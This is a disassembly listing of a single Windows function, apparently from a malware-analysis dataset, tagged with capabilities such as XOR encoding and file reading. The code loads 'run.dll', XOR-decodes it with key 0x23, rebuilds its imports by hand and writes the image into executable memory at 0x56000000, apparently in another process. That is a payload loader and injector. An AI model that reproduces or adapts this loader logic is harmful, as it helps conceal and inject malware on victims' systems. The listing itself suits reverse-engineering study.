Function at 0x100022f0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
sub esp, 0x11c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
push ebx
push ebp
push esi
push edi
mov edi, 0x1001f5f8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.run.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 3
push eax
and ecx, 3
push 1
lea eax, [esp + 0x3c]
push 0x80000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000237b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x11c
ret 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
mov eax, 0x10000
cmp ebp, 0x10000
mov dword [esp + 0x20], ebp
jb 0x10002399
mov eax, ebp
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [esp + 0x24]
push 0
mov ebx, eax
push ecx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
mov eax, ebx
jbe 0x100023d5
mov ecx, ebp
mov dl, byte [eax]
xor dl, 0x23
mov byte [eax], dl
inc eax
dec ecx
jne 0x100023ca
mov edx, dword [ebx + 0x3c]
mov word [ebx], 0x5a4d
mov ecx, dword [edx + ebx + 0x84]
lea eax, [edx + ebx + 0x18]
test ecx, ecx
mov dword [esp + 0x1c], eax
je 0x100024a1
mov edi, dword [eax + 0x68]
add edi, ebx
mov dword [esp + 0x10], edi
cmp dword [edi], 0
jne 0x1000240d
mov eax, dword [edi + 0x10]
test eax, eax
je 0x100024a1
mov esi, dword [edi + 0xc]
add esi, ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, eax
test ebp, ebp
jne 0x10002430
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
test ebp, ebp
je 0x1000236c
mov eax, dword [edi + 4]
test eax, eax
jne 0x10002491
mov eax, dword [edi]
mov dword [edi + 8], ebp
test eax, eax
mov dword [edi + 4], 0xcdc31337
je 0x1000244b
mov esi, eax
jmp 0x1000244e
mov esi, dword [edi + 0x10]
mov edi, dword [edi + 0x10]
mov eax, dword [esi + ebx]
add esi, ebx
add edi, ebx
test eax, eax
je 0x1000248d
test eax, 0x80000000
je 0x1000246b
xor eax, eax
mov ax, word [esi]
push eax
jmp 0x10002470
lea ecx, [eax + ebx + 2]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000236c
add esi, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [esi]
test eax, eax
jne 0x1000245c
mov edi, dword [esp + 0x10]
mov ebp, dword [esp + 0x20]
add edi, 0x14
mov dword [esp + 0x10], edi
jmp 0x100023fd
test ebp, ebp
mov dword [esp + 0x14], 0
jbe 0x10002504
mov edi, dword [esp + 0x130]
mov esi, 0x56000000
push 0x40
lea edx, [esp + 0x1c]
push 0x3000
push edx
lea eax, [esp + 0x20]
push 0
push eax
push edi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0x10000
call fcn.10007d90
push 0
lea ecx, [ebx + esi - 0x56000000]
push 0x10000
push ecx
push esi
push edi
call fcn.10007d60
add esi, 0x10000
lea edx, [esi - 0x56000000]
cmp edx, ebp
jb 0x100024b9
cmp ebp, 0x10000
jae 0x10002511
mov ebp, 0x10000
push 0x8000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, dword [esp + 0x14]
pop ebp
pop ebx
mov eax, dword [eax + 0x10]
add eax, 0x56000000
add esp, 0x11c
ret 4